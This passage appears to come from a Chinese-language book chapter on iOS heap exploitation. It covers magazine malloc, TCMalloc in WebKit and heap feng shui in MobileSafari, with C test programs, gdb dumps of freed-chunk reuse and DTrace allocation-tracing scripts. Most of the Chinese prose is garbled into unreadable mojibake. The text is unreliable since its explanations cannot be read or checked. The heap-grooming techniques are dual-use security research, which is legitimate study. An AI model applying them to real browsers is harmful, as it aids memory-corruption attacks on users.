    for(i = 0; i < 50; i++) { 
        buggy[i] = malloc(48); 
        memset(buggy[i], 0xcc, 48); 
    } 
    DebugBreak(); 
 
    for(i = 49; i > 0; i -=2) 
        free(buggy[i]); 
 
    DebugBreak(); 
 
    for(i = 0; i < 10; i++) { 
        interesting[i] = malloc(48); 
        memset(interesting[i], 0xaa, 48); 
    } 
 
    DebugBreak(); 
 
    @autoreleasepool { 
       return UIApplicationMain(argc, argv, nil, NSStringFromClass 
([bookAppDelegate class])); 
    } 
} 

ᯪЎੇ͂᜵ᤁᛠឞःၸርࣿὙ�

GNU gdb 6.3.50-20050815 (Apple version gdb-1708) (Fri Aug 26 04:12:03 UTC 2011) 
Copyright 2004 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. 
This GDB was configured as "--host=i386-apple-darwin--target=arm-apple-darwin".tty 
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/dev/ttys002 
target remote-mobile /tmp/.XcodeGDBRemote-1923-73 
Switching to remote-macosx protocol 
mem 0x1000 0x3fffffff cache 
mem 0x40000000 0xffffffff none 
mem 0x00000000 0x0fff none 
[Switching to process 7171 thread 0x1c03] 
[Switching to process 7171 thread 0x1c03] 
sharedlibrary apply-load-rules all 
Current language: auto; currently objective-c 
(gdb) x/50x buggy 
0x2fdffacc:   0x0017ca50   0x0017ca80   0x0017cab0   0x0017cae0 
0x2fdffadc:   0x0017cb10   0x0017cb40   0x0017cb70   0x0017cba0 
0x2fdffaec:   0x0017cbd0   0x0017cc00   0x0017cc30   0x0017cc60 
0x2fdffafc:   0x0017cc90   0x0017ccc0   0x0017ccf0   0x0017cd20 
0x2fdffb0c:   0x0017cd50   0x0017cd80   0x0017cdb0   0x0017cde0 
0x2fdffb1c:   0x0017ce10   0x0017ce40   0x0017ce70   0x0017cea0 
0x2fdffb2c:   0x0017ced0   0x0017cf00   0x0017cf30   0x0017cf60 
0x2fdffb3c:   0x0017cf90   0x0017cfc0   0x0017cff0   0x0017d020 
0x2fdffb4c:   0x0017d050   0x0017d080   0x0017d0b0   0x0017d0e0 
0x2fdffb5c:   0x0017d110   0x0017d140   0x0017d170   0x0017d1a0 
0x2fdffb6c:   0x0017d1d0   0x0017d200   0x0017d230   0x0017d260 
0x2fdffb7c:   0x0017d290   0x0017d2c0   0x0017d2f0   0x0017d320 
0x2fdffb8c:   0x0017d350   0x0017d380 
(gdb) x/15x 0x0017ca80 
0x17ca80:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x17ca90:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x17caa0:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x17cab0:     0xcccccccc   0xcccccccc   0xcccccccc 
(gdb) c 
Continuing. 

੝థᤇ50˓ࠪ៵ᦏࣂፂѫᦠݝ˿ὋᏪ˄ඇ˓ࠪ៵ᦏݟᮔయᥦಧᜁᜈЙ˿0xccǌଋᅋὋܷࠑ

Ժ̾ᄹҁ᧕உ25˓ࠪ៵Րឞःၸርࣿᄉ࿃খὙ�

Program received signal SIGINT, Interrupt. 
0x0000235a in main (argc=1, argv=0x2fdffbac) at 
/Users/snagg/Documents/Book/booktest/booktest/main.m:34 
34        DebugBreak(); 
(gdb) x/15x 0x0017cae0 
0x17cae0:     0xa0000000   0xe0017cb4   0xcccc0003   0xcccccccc 
0x17caf0:     0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc 
0x17cb00:     0xcccccccc   0xcccccccc   0xcccccccc   0x0003cccc 
0x17cb10:     0xcccccccc   0xcccccccc   0xcccccccc 
(gdb) c 
Continuing. 

ኃٽ˓ࠪ៵௦ᜁ᧕உࠪ៵˖ᄉʶտὋХͳ౎ឬὋ߱ ௦ణՐʶ˓ᜁຊҪҁᒬၿѴᛪ˖ᄉࠪ៵὇Ꮺ

ኃʶ˓ࠪ៵Фࠃᜁߚϱҁmag_last_freeᎀߚ˖Ὀǌ߱ᄉґ᯵ૈ᧪ᜁᎵ˝NULLὋᏪՐፘૈ᧪ဗ

�ਕТᡙᄉࠪ៵Ὑࣁ᜵ѫᦠᒬࠑՓbuggyஜጷ˖ᄉኃН˓ࠪ៵ǌణՐὋܷૈڙ

Program received signal SIGINT, Interrupt. 
0x000023fe in main (argc=1, argv=0x2fdffbac) at 
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/Users/snagg/Documents/Book/booktest/booktest/main.m:41 
41        DebugBreak(); 
(gdb) x/10x interesting 
0x2fdffaa4:   0x0017ca80   0x0017cae0   0x0017cb40   0x0017cba0 
0x2fdffab4:   0x0017cc00   0x0017cc60   0x0017ccc0   0x0017cd20 
0x2fdffac4:   0x0017cd80   0x0017cde0 
(gdb) x/15x 0x0017ca80 
0x17ca80:     0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa 
0x17ca90:     0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa 
0x17caa0:     0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa   0xaaaaaaaa 
0x17cab0:     0xcccccccc   0xcccccccc   0xcccccccc 

ᤇ10˓ᜁఢ૰ᄉࠪ៵௦˧ґ᧕உᄉὋʿѢ੝஧Ὃ߱͂ᄉЮࣂࠓፂ੆˿0xaaǌڙᣤѢ˖Ὃܷ

�ፂ᜸᣾ᄉǌࣂ௦ੇ͂ࠓὋФЮࠓԺ̾ᄹҁbuggyஜጷ˖ኃʶ˓ࠪ៵ᄉЮࠑ

ᙉཨڙߚᤇʶ̎ڇᬱὋͭڙဗࠃᄉःၸ˖ᤇಧᄉ੾ࢻ˶᤟ၸǌХͳ౎ᝮὋڙѷधݼᤈᛠ໣ว

ஈѣ˧ௐὋ۶ᄉ࿃খ௦లᅻᄉὋᏪ˄ᤉʿᑞ᣹ҁþူਆ࿃খÿὋᏪஈѣᏧԺᑞ෤థᡛܴቆᫍ૊ᒬ

ఴብᬣՐڙᄉǌݝၸব֖᤟ၸবᜁ᝼௙௦᭣࣡ࠃᄉࢻክᤇಧὋឞ੾ࡉᄉਆกѫᦠᥦ˥ܲࠪ៵ǌࣁ

ᝦ᝶TCMallocௐὋܷ͗ࠑ˿ᝌҁ࠱ʹݟФःၸ̅MobileSafariǌ 
2. 䩜ᇍᇍ䈵⫳ᄬᳳ䯂乬ⱘⓣ⋲ᬏߏ 
ೣࡂௐڰߚՋࣲЮڙ௛ԩஈѣࠪ៵ᄉᑞҦᒯС᧗᜵ǌᤇ˖ߚయ᫇ᮤௐὋఢ૰Юߚၶ៵ࠪူܪڙ

੣˿Ὃ࠴ܷ៵ࠪ˝ځథԺᑞ͗Ԧၶʶ̎ʿԺᮔᅻᄉԪӐǌʁ ᓉ౎ឬὋథ3ሗழयԺ̾ᝌфᤇʶ᫇ᮤὙ 
 ᧕உ௛ԩஈѣᄉࠪ៵Րበ҈ఢ૰ࠪ៵὚ڙ �
 ѫᦠᄉࠪ៵˧ᫍ὚ࣂڙஉ៵ࠪ࠱ �
 ଌ҃ᄉࠪ៵˧ᫍǌࣁԩᒬ࠴ܷڙஉ៵ࠪ࠱ �
൤ʿ͗ԦၶՋࣲǌځԨѢᄉὋ˖ߚ᧓Ԩኃʶሗን႔ௐὋࠪ៵௦ᄯଋ̯mag_last_freeᎀڙ

Ꮺኃ̃ሗழ಴ԺᆷγՐፘࠪ៵֖ґ᯵ࠪ៵ᦏల᧕உὋᤆௐԺ̾ᆷ߿Ջࣲ௦ʿԺᑞᄉǌణՐʶሗৰ

хᝧੇ͂Ժ̾ᮔ฽᜵ՋࣲᄉణՐʶ˓ࠪ៵ᄉܷ࠴Ὃځ൤ᑞѫᦠʶ˓ܷ࠴᤟ॆᄉࠪ៵౎ఢ૰ǌਆ΍

ၸኃʶሗ੊ኃ̃ሗ੾ࢻὋܷࠑԺ̾ԟᏥఴብ˧ґ̭ፀ᣾ᄉΒߔǌᏪਆ᜵࠼ណణՐʶሗ੾ࢻὋܷࠑ

Ժ̾ѽၸʽ᭦ᤇ˓ኤӬᄉःၸርࣿὙ 

#define DebugBreak() \ 
do { \ 
__asm__("mov r0, #20\nmov ip, r0\nsvc 128\nmov r1, #37\nmov ip, 
r1\nmov r1, #2\nmov r2, #1\n svc 128\n" \ 
: : : "memory","ip","r0","r1","r2"); \ 
} while (0) 
 
int main(int argc, char *argv[]) 
{ 
    unsigned long *ptr1, *ptr2, *ptr3, *ptr4; 
    unsigned long *replacement; 
 
    ptr1 = malloc(48); 
    ptr2 = malloc(64); 
    ptr3 = malloc(80); 
    ptr4 = malloc(24); 
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    DebugBreak(); 
 
    free(ptr1); 
    free(ptr2); 
    free(ptr3); 
    free(ptr4); 
    DebugBreak(); 
 
    replacement = malloc(192); 
 
    DebugBreak(); 
 
    @autoreleasepool { 
        return UIApplicationMain(argc, argv, nil, NSStringFromClass 
([bookAppDelegate class])); 
    } 
} 

ឞःၸርࣿ͗ѫᦠ4˓ࠪ៵ὋᏪՉ˓ࠪ៵ᄉܷ࠴ᦏ௦ʿՎᄉǌᄫಕ௦᜵ఢ૰ptr2ǌਆ߸੆ᤇ

ʶᄫಕὋੇ͂ࡂ᜵ᏥᘼڰᄉՋࣲὋځ൤ၸ౎ఢ૰ᄉࠪ៵ܷߙ192˝࠴ᓫὋᏪ᭣64ߙᓫǌᤁᛠःၸ

ርࣿࡂԺ̾ᰍ᝼ᤇʶཁὙ�

GNU gdb 6.3.50-20050815 (Apple version gdb-1708) (Fri Aug 26 04:12:03 UTC 2011) 
Copyright 2004 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. 
This GDB was configured as "--host=i386-apple-darwin --target=arm-apple-darwin". 
tty /dev/ttys002 
target remote-mobile /tmp/.XcodeGDBRemote-1923-41 
Switching to remote-macosx protocol 
mem 0x1000 0x3fffffff cache 
mem 0x40000000 0xffffffff none 
mem 0x00000000 0x0fff none 
[Switching to process 7171 thread 0x1c03] 
[Switching to process 7171 thread 0x1c03] 
sharedlibrary apply-load-rules all 
Current language: auto; currently objective-c 
(gdb) x/x ptr1 
0x170760:    0x00000000 
(gdb) c 
Continuing. 

ptr1ᜁѫᦠҁ0x170760ǌፘ፝੯ᛠὋੇ͂ڙ੝థૈ᧪ᦏᜁ᧕உՐв೜ಉФЮࠓὙ�

Program received signal SIGINT, Interrupt. 
0x0000240e in main (argc=1, argv=0x2fdffbac) at 
/Users/snagg/Documents/Book/booktest/booktest/main.m:34 
34        DebugBreak(); 
(gdb) x/4x ptr1 
0x170760:     0x20000000   0x20000000   0x0000000c   0x00000000 
(gdb) c 
Continuing. 
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ptr1ᜁૈีፋܷߙ192˝࠴ᓫᄉ᧙0ߔx000cǌᄹᡐ౎ܷൣڙࣂࠑᢽ˧ʼ˿ǌణՐὋःၸርࣿ

͗ѫᦠၸ̅ఢ૰ᄉࠪ៵Ὑ�

Program received signal SIGINT, Interrupt. 
0x00002432 in main (argc=1, argv=0x2fdffbac) at 
/Users/snagg/Documents/Book/booktest/booktest/main.m:38 
38       DebugBreak(); 
(gdb) x/x replacement 
0x170760:   0x20000000 
(gdb) 

ၸ̅ఢ૰ᄉࠪ៵ᜁൣᆷڠஉᎵڙЮߚ˖ptr1˧ґ੝ڙᄉͮᎵǌࡉክᤈᛠ˿ஜ૵ंᄉՋࣲὋ

ptr2ᤆ௦ᜁ੆ҩڠఢ૰˿ǌ�

ଋʽ౎ᄉʶᓫ᜵̭ፀԲʶሗѫᦠርࣿὋӉહMobileSafariڙЮᄉឰܲःၸርࣿᦏ΍ၸ˿ឞѫ

ᦠርࣿǌ  

7.4� ⧚㾷 TCMalloc 

TCMallocѫᦠርࣿణѹ௦ၿSanjay GhemawatౝধᄉὋ߱ܲڙጲርᄉःၸርࣿ˖ःឞ͗ࡉԺ

ᑞڠঋǌ̂ࠃʼὋឞѫᦠርࣿᄉஞͳፆౝ࠱ጲርᄉ֖̓̈ᩙ߿ђ࠵ҁ˿ణͯርऎǌ 
ੇ͂ࠪTCMalloc౜థТᡙὋځ˝߱௦WebKitᤤၸᄉѫᦠርࣿǌڙఴᓫ˖Ὃܷ͗ࠑຆЙ˿ᝌ

߱ᄉࢹͺԓူὋࣲူᝌݟʹѽၸ߱໗ᡛஈѣᏧᄉᭉයǌ 
TCMallocܷࠪူܪ៵ѫᦠ֖ࠪ࠴៵ѫᦠథˏሗʿՎᄉ఺҃ǌФ˖ܷࠪ៵ၿՏ˝Pageheapᄉር

ࣿክူὋᏪ˄͗ᄯଋᜁᣀፋ˧ґᝦ᝶᣾ᄉऄࡎୱͺጆፑᒬࣛᄉѫᦠርࣿူܪὋᏪࠪ࠴៵Ѷ߸К௦

ၿTCMallocူܪᄉǌ 

7.4.1� ໻ᇍ䈵ⱘߚ䜡੠䞞ᬒ 

ௐὋੇ͂᜵ၸҁᮅ᭦ጞᄉѫᦠርࣿǌᮅ᭦ߚ᫟ϘkMaxSizeᄉࠪ៵ѫᦠЮ߿ၸਖ਼᝹ܷ̅˝ڙ

ጞᄉѫᦠርࣿPageheapѫᦠᄉ௦ᔴډ὇spanὈὋԀʶጷᤋ፝ᄉЮߚᮅǌ 
ᯪЎੇ͂᜵ᄹᄹၿࣂѫᦠᄉᔴډౝ੆ᄉԤՓᩖᛪὋᄹᄹథ෤థՋ᤟ᄉܷ࠴ԺΘTCMalloc΍

ၸǌڙᤇ˓ԤՓᩖᛪ˖థˏዜᔴډὋʶዜ௦ԺΘ΍ၸᄉὋᏪԲʶዜѶ௦ၿTCMallocѫᦠͭ᜵ᤄٿ

ፋऄࡎጆፑ۶ᄉǌ 
˄ԺၸᏪډ౦ᔴݟǌʿ᣾ὋٿԺΘ΍ၸௐὋ߱ᯪЎ͗ᜁ᧗ளѫᦠὋཨՐвᤄډథᒬၿᄉᔴڙ

లᜁಕ᝭˝ࣂ᧕உὋᥦ˥߱͗ᜁᄯଋᤄٿǌݟ౦෤థܷ࠴᤟ॆᄉᔴډԺၸὋᮅ᭦ጞᄉѫᦠርࣿ͗

ណᅋ੼ҁʶ˓þᡛܴ໗ᡛ᜵යÿᄉఝܷᄉᔴډὋ˶ࡂ௦ឬὋᤇ˓ᔴډᄉܷ࠴᜵ࡉԺᑞଋᤂ੝ឯය

ԺΘՐ፝΍ၸὋࣲᤄߚὋᝧФͷᄉЮډѫҞᤇ˓ᔴ͗ࡂὋ߱ډǌʶெѫᦠርࣿ੼ҁᤇಧᄉᔴ࠴ܷ

 ǌډৌॆᄉᔴ࠴ܷٿ
ԺΘ΍ၸὋ߱ډ౦෤థՋ᤟ᄉᔴݟ ᮅὋࣲߚୱͺጆፑឯයʶጷளᄉЮࡎՓऄ͗ࡂ ˏ˝Фѫ࠱

˓Юࠪߚ៵Ὑʁ ˓ࠪ៵థᅋ੝ឯයᄉܷ࠴ὋᏪԲʶ˓ࠪ៵ᄉܷ࠴Ѷ௦ѫᦠᄉЮߚᮅᄉ঳ܷ࠴ђԜ

੝ឯයᄉѫᦠ੝ᭉᄉЮ࠴ܷߚǌ 
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ॆੇ͂ʿвᭉ᜵౼ʶᔴډௐὋᯪЎ͗࠱Фˀ߱ᄉґ᯵ᔴډǋՐፘᔴډ੊௦ᤇˏᏧՋࣲᡐ౎Ὃ

ཨՐ࠱३ҁᄉᔴډಕ᝭˝ࣂ᧕உǌణՐὋΙ૵ᔩ࣯˓ၸਖ਼߿˦ᄉԟஜὋՋࣲՐ३ҁᄉᔴ͗ډၿۇ

 ஜܷ̅targetPageCountௐǌډ᧕உᄉᔴࣂڙ௦ࡂᝮὋڠፋጆፑὋХͳٿஅᬶ٧ᤄڥ

7.4.2� ᇣᇍ䈵ⱘߚ䜡 

ѫᦠࠪ࠴៵੝΍ၸᄉ఺҃Ѷॡ̠̽᠟ᝌǌඇ˓ൣڙᤁᛠᄉጲርᦏХథᒬࣁ˃ၸᄉࠪ៵ᎀ֖ߚ

ᒬၿѴᛪǌᒬၿѴᛪ௦ѫ੆ᔩ࣯ѫᦠዜᄉԤՓᩖᛪǌߙ1024̅࠴ᓫᄉࠪ៵௦૊ཱݟʽழय᝟ኪᄉὙ

(object_size + 7)/8ǌ 
Ꮺܷࠪ̅̅ឞϘᄉࠪ៵౎ឬὋ᝟ኪழयѶ௦Ὑ(object_size + 127 + (120<<7))/128ǌ 
ᬓ˿ඇ˓ጲርᄉᎀߚὋФ˖ᤆథ˖ܼᎀߚǌ˖ܼᎀߚ௦ၿ੝థጲርР̙ᄉὋᏪ˄ˀጲርᎀߚ

థᅋᄰՎᄉፆౝǌ 
ὋࣲߚឯයᤈᛠளᄉѫᦠௐὋѫᦠርࣿᯪЎ͗೜ጉॆґጲርᄉጲርᎀڙ ಉᄹឞጲርᄉᒬၿѴ

ᛪὋᰍ᝼௦ՠథͮᎵԺΘՋ᤟ᄉѫᦠዜ΍ၸǌݟ౦ᤇ̎࠼ណܾ᠋˿Ὃѫᦠርࣿ͗ಉᄹ˖ܼᎀߚὋ

ࣲ̯˖Ԩࠪٿ៵ǌѢ̅বᑞᄉᏥᘼὋݟ౦ጲርᎀߚᜁु҃Փ˖ܼᎀߚឯයԺၸࠪ៵ὋᏪʿ௦ᄯଋ

͛ᤞጲርᎀߚ˖ᄉࠪ៵Ὃ͗ࡂథʶஞൿࠪ៵ᜁԨѢǌ 
ᜁ૊ཱᖌԨܷࠪ៵ᄉ͗ࡂ៵Ջ᤟ѫᦠዜᄉࠪ៵Ὃᤇ̎ࠪܫᦏ෤థХߚᎀܼ˖֖ߚ౦ጲርᎀݟ

ழयᄯଋ̯ᔴډ˖ԨѢǌ 

7.4.3� ᇣᇍ䈵ⱘ䞞ᬒ 

ௐὋ߱៵ࠪ࠴᧕உڙ ͗ᜁᤄٿҁጲርᎀߚᄉᒬၿѴᛪǌᒬၿѴᛪᡓѢ˿ၸਖ਼߿˦ᄉԟஜௐ͗

ᤈᛠٿڥۇஅǌ 
ཨՐὋٿڥۇஅ٧͗ઁጲርᎀߚᒬၿѴᛪ˖ᄉల΍ၸࠪ៵ᤄٿፋ˖ܼᎀߚᒬၿѴᛪǌځ˝˖

ܼᎀߚ˖ᄉ੝థࠪ៵ᦏ௦౎ᒬᔴډᄉὋ੝̾ඇॆథʶጷளࠪ៵ᜁ᧗ளૈ߿ፋ˖ܼᎀߚᒬၿѴᛪὋ

ѫᦠርࣿᦏ͗ᰍ᝼ᤇ̎ࠪ៵੝࡚ᄉᔴډ௦ՠ߸К௦ᒬၿᄉǌݟ౦௦Ὃ߱ ᧕உὋࣂ˝ಕ᝭ډឞᔴઁࡂ

ࣲణጻ࠱ФᤄٿፋጆፑὋݟՎ˧ґ̭ፀܷࠪ៵ѫᦠௐᝌ᧕ᄉᥦಧǌ 

7.5� 偃᳡ TCMalloc 

ఴᓫ᜵ᝦ᝶ʶ̎᧪ࠪTCMallocᄉ੾ࢻὋੇ ͂Ժ̾ѽၸᤇ̎੾ࢻଌ҃۶࣊ࡌὋ̯ Ꮺణܷᬌऎڠ

ᮔᅻ۶࣊ࡌǌХͳڠᝮὋఴᓫ͗ᝌ᧕ࠪࡂ៵ၶߚయ᫇ᮤࡘध໣วஈѣᭉ᜵ᄉ൥ᰠὋࣲଉᝦՏ˝۶

᮲පᄉ੾ࢻǌణ௉Мधᝦ᝶ឞ੾ࢻᄉ௦Alex SotirovὋॆ ௐ߱௦᧪ࠪIEᄉ۶ຼѢ᫇ᮤ˃᫂ၸ౎ࠪIE
ᤈᛠ໣วஈѣᄉǌʿ᣾ὋՎಧᄉഏএ۲ఴʼ᤟ၸ̅ࣉ᭦ʼԺ᜸ᄉඇሗ۶ࠃဗǌ  

7.5.1� 㦋ᕫৃ乘ⶹⱘේᏗሔ 

᜵ᖌ३Ժᮔᅻᄉ۶࣊ࡌὋᯪЎੇ͂ᭉ᜵੼ҁʶሗథ஌ᄉழก౎ᝎԦڥۇஅᬶ٧ǌᤇڙ᧪ࠪࠪ

៵ၶߚయ᫇ᮤᄉৰх˖௦ྱѾ᧗᜵ᄉὋځ˝ܲஜৰхʽࠪ៵Фࠃ᜵ҁᤈᛠڥۇஅᬶௐ੥͗ᜁ᧕
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1 

2 

3 

4 

5 

11 
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7 

8 

9 

10 

உǌణ௬᜸ᄉڥۇஅᬶ٧ᝎԦழयࡂ௦΍ၸJavaScriptǌʿ᣾Ὃᤇ਒։ᅋ੝΍ၸᄉ੾ࢻ௦Ιᠺ

JavaScriptल୲ᄉǌ 
WebKitԦ࣊Ӊᄉڙ JavascriptCore஠͇݂˖ὋܷࠑԺ̾੼ҁ̼Ձ˝NitroᄉMobileSafari 

JavaScriptल୲ǌ᤯᣾JavaScriptѫᦠᄉՉ˓ࠪ៵ᦏ͗ᜁ੩Ӊ੆JSCellፆౝǌNitroᄉᛠ˝͗ࠪ

TCMallocᄉڥۇஅᬶ٧̖ၶॡຆᄉॕֽǌ̂  ੥͗ᜁ᧕உǌ៵ࠪߚʼὋᄯҁ᜵΍ၸJSCellௐᥦ̎Юࠃ
˝˿ఝူڠݝᝌᤇʶഏএὋੇ ͂౎ᄹᄹMobileSafari˖HTML divࠪ៵ᄉ᧕உ᣾ርǌੇ ͂ᯪЎ

᜵ѫᦠ10˓HTML divࠪ៵ὋཨՐ᧕உ߱͂Ὃࣲ΍ၸѥஜ὇ఴΒ˖௦Math.acosὈ̯ុណ٧˿ᝌ

᧕உ᜵ڙʹௐԦၶǌణՐὋੇ͂͗ѫᦠܷ᧙ᄉࠪ៵Ὃᄹᄹࠪ៵ᄉ᧕உቂቤ௦ʹௐԦၶᄉǌ 
Breakpoint 6, 0x9adbc1bb in WebCore::HTMLDivElement::create () 
(gdb) info reg 
eax            0x28f0c0    2683072 
ecx            0x40 64 
edx            0x40 64 
ebx            0xc006ba88  -1073300856 
esp            0xc006b2a0  0xc006b2a0 
ebp            0xc006b2b8  0xc006b2b8 
esi            0x9adbc1ae  -1696874066 
edi            0xc006ba28  -1073300952 
eip            0x9adbc1bb  0x9adbc1bb 
<WebCore::HTMLDivElement::create(WebCore::QualifiedName const&, 
WebCore::Document*)+27> 
eflags         0x282   642 
cs             0x1b    27 
ss             0x23    35 
ds             0x23    35 
es             0x23    35 
fs             0x0    0 
gs             0xf    15 
(gdb) awatch *(int *)0x28f0c0 
Hardware access (read/write) watchpoint 8: *(int *) 2683072 
(gdb) c 
Continuing. 
Hardware access (read/write) watchpoint 8: *(int *) 2683072 

divࠪ៵ᜁߚϱڙEAX˖ǌܷ �੯ᛠయᫍࠪФᤈᛠᤜᢍǌڙ᜹ࠢཁὋழΦߚԺ̾˝Ф᝹Ꮅʶ˓Юࠑ

Breakpoint 4, 0x971f9ee5 in JSC::mathProtoFuncACos () 
(gdb) 

ဗڙःឞҁ˿᜵᧕உࠪ៵ᄉڠழ˿Ὃʿ ᣾ᣤѢᛪ௙ࠪ៵ࣲ෤థᜁ᧕உὋᄯҁTCMallocྰ๗ᤈ

౎ǌᤈʶ൥ຆЙ͗ࡂ३ҁ̾ʽፆ౦Ὑ�

(gdb) continue 
Continuing. 
Hardware access (read/write) watchpoint 8: *(int *) 2683072 
 
Value = -1391648216 
0x9ad7ee0e in WebCore::JSNodeOwner::isReachableFromOpaqueRoots () 
(gdb) 
Continuing. 
Hardware access (read/write) watchpoint 8: *(int *) 2683072 
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Value = -1391648216 
0x9ad7ee26 in WebCore::JSNodeOwner::isReachableFromOpaqueRoots () 
(gdb) 
Continuing. 
Hardware access (read/write) watchpoint 8: *(int *) 2683072 
 
Old  value = -1391648216 
New  value = -1391646616 
0x9b4f141c in non-virtual thunk to WebCore::HTMLDivElement::~HTMLDivElement() () 
(gdb) bt 20 
#0  0x9b4f141c in non-virtual thunk to WebCore::HTMLDivElement 
::~HTMLDivElement() () 
#1  0x9adf60d2 in WebCore::JSHTMLDivElement::~JSHTMLDivElement () 
#2  0x970c5887 in JSC::MarkedBlock::sweep () 
Previous frame inner to this frame (gdb could not unwind past this frame) 
(gdb) 

அᬶڥۇஅᬶ٧ᜁុၸՐὋࠪ៵੥͗ᜁ᧕உǌᥦ˥ὋူᝌNitroᄉڥۇNitroᄉڙ൤ὋԵథځ

٧ʹௐᜁᝎԦ̾ԢݟʹᜁᝎԦࡂ᭣࣡᧗᜵˿ǌ�

Nitroᄉڥۇஅᬶ̾ڙ٧͗ʽ3ሗৰхʽᜁុၸὙ 
 ᎃដௐ᝹ᎵᡓௐՐ὚ڙ �
 ௦ጲር൪̑ὈՐ὚ࡂ˶ஜ૵ᜁᩘං὇ࡌJavaScriptКڙ �
� ॆѫᦠᄉߙᓫஜᡓѢ౼ʶႌᬌϘௐǌ 
ॡ௬ཨὋ᜵ଌ҃ڥۇஅᬶ٧ὋణኤӬᄉᤤસࡂ௦ѽၸኃʻሗৰхǌஞ˓᣾ርˀґʶ˓Βߔ˖

ᝎԦڥۇஅᬶ٧ᄉ᣾ር۲ఴ௦ʶಧᄉǌੇ ͂ᭉ᜵ѽၸᔩ࣯˓ࠪ៵౎ᝎԦኃʻሗৰ्ᄉᛠ˝Ὃᤇ̎

ࠪ៵Ժ̾௦ڎϷǋஜጷ֖ߙቿ˘ǌܷڙࠑ˧Ր͗ᄹҁPwn2Own಴Βᆐቂ˖΍ၸ˿ߙቿ˘֖ஜጷὋ

ʿ᣾Хͳᤤસ̣˥ࠪ៵Ԩф̅੝᜵Ꮵᘼᄉbugǌ 
ଋʽ౎ࡂ௦᜵੼ҁʶ̎ࡉԺᑞԩᒬࣁଌ҃ᄉࠪ៵Ὃၸ߱͂۶࠱᯳నὋࣲ య᫇ߚథࠪ៵ၶڙ˄

ᮤௐఢ૰Ѣᩱᄉࠪ៵ǌʶᓉৰхʽὋߙቿ˘֖ஜጷࡂᑞॡڠݝ໗ᡛᤇ̎᜵යǌܲஜৰхʽὋܷࠑ

᜵ྱѾซ਒ଌ҃ၸ̅ఢ૰Ѣᩱࠪ៵ᄉᥦ̎ࠪ៵ᄉґ4˓ߙᓫὋځ˝ᤇ4˓ߙᓫ௦ᘾ઱ѥஜᛪૈ᧪੝

  ᄉͮᎵὋᏪଌ҃߱ज़ज़௦ᖌԨ̼ᆉ੯ᛠాᄉణኤӬழयǌڙ

7.5.2� ⫼Ѣ䇗䆩ේ᪡԰ҷⷕⱘᎹ݋ 

ុណ۶ୱͺ̼ᆉԺᑞథཁЇೣ੣ὋᏪ˄Mac OS X੊iPhone˖ᒬࣛᄉࢹХࣲʿஂ૆TCMalloc
ᄉ۶ុណǌځ˝iPhone֖Mac OS XʼᄉTCMalloc΍ၸ˿ᄰՎᄉࠃဗழयὋ੝ܷ̾ࠑԺ̾ڙMac OS 
XʼѽၸDtrace߸੆ᭉ᜵ᤈᛠᄉКᦉុណࢹͺǌఴᓫࣲల̭ፀˀDtrace֖DឥᝒథСᄉጹᓫὋԵ௦

 ͺᏪᝒྱѾథၸǌࢹᄉ໣วஈѣࠑᇧ˿ˏ˓ၸ̅ኤӐុណ᣾ርᄉᑭఴǌᤇˏ˓ᑭఴܷࠪ̅ࡘ
ኃʶ˓ᑭఴ͗᝭े੝థܷ࠴ᄉࠪ៵ᄉѫᦠৰхὋࣲ੩Ӿಖ᝭ेὙ 

#pragma D option mangled 
 
BEGIN 
{ 
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    printf("let's start with js tracing"); 
} 
 
 
 
pid$target:JavaScriptCore:__ZN3WTF10fastMallocEm:entry 
{ 
    printf("Size %d\n", arg0); 
    ustack(4); 
 
} 

ኃ̃˓ᑭఴᝧܷࠑԺ̾᝭ेྱ࠴ܷ߿ᄉࠪ៵ᄉѫᦠ֖᧕உৰхὙ 

#pragma D option mangled 
BEGIN 
{ 
    printf("let's start with allocation tracing"); 
} 
 
 
 
pid$target:JavaScriptCore:__ZN3WTF10fastMallocEm:entry 
{ 
    self->size = arg0; 
} 
 
pid$target:JavaScriptCore:__ZN3WTF10fastMallocEm:return 
/self->size == 60/ 
{ 
    printf("Pointer 0x%x\n", arg1); 
    addresses[arg1] = 1; 
    ustack(2); 
} 
 
 
pid$target:JavaScriptCore:__ZN3WTF8fastFreeEPv:entry 
/addresses[arg0]/ 
{ 
    addresses[arg0] = 0; 
    printf("Object freed 0x%x\n", arg0); 
    ustack(2); 
} 

᜵ઁፆ౦̯Mac OS X᣺ሧҁiOSὋܷ׬ࠑʶ᜵ϡᄉࡂ௦ᆷ߿Ջ᤟ᄉࠪ៵ܷ࠴ὋᏪڙᤇˏሗጆ

ፑ˖Ὃᤇ˓ܷ࠴ԺᑞʿՎǌʿ᣾Ὃ᜵ϡҁᤇʶཁ௦ᄰॆኤӬᄉὋФܷܲڙࠃஜৰхʽὋ̃ڙᤈ҃

஠͇˖ᦏᑞ੼Ѣ੝᜵ူܪᄉࠪ៵ᄉܷ࠴ǌ൤ܰὋ᤯᣾ࠪMac OS X֖iOS˖WebKitᄉ̃ᤈ҃஠͇΍

ၸBinDiffὋੇ͂ज़ज़˶Ժ̾३ᅻᤇʶܷ࠴ǌ�

ॆੇ͂᜵ࠪ۶࠰ؤ὇heap sprayὈஈѣᤈᛠុណௐὋ͗ࡂၸҁԲʶ˓ࠂ᠛ᄉࢹХúúvmmapὋ
ឞࢹХᝧܷࠑԺ̾ᄹҁᤈርڦڠቆᫍ˖ᄉ߸ஞЮࠓǌڙvmmapᄉᣤѢ˖ࠪJavaScriptᤈᛠgrepୱ
ͺὋ;͗ࡂᄹҁ̎גЮߚӜ۪௦ၿTCMallocѫᦠᄉǌڙॸᮋࠪڦڠᤈᛠʶ̎࿮฽ௐ὇ΒݟὋઁڙ

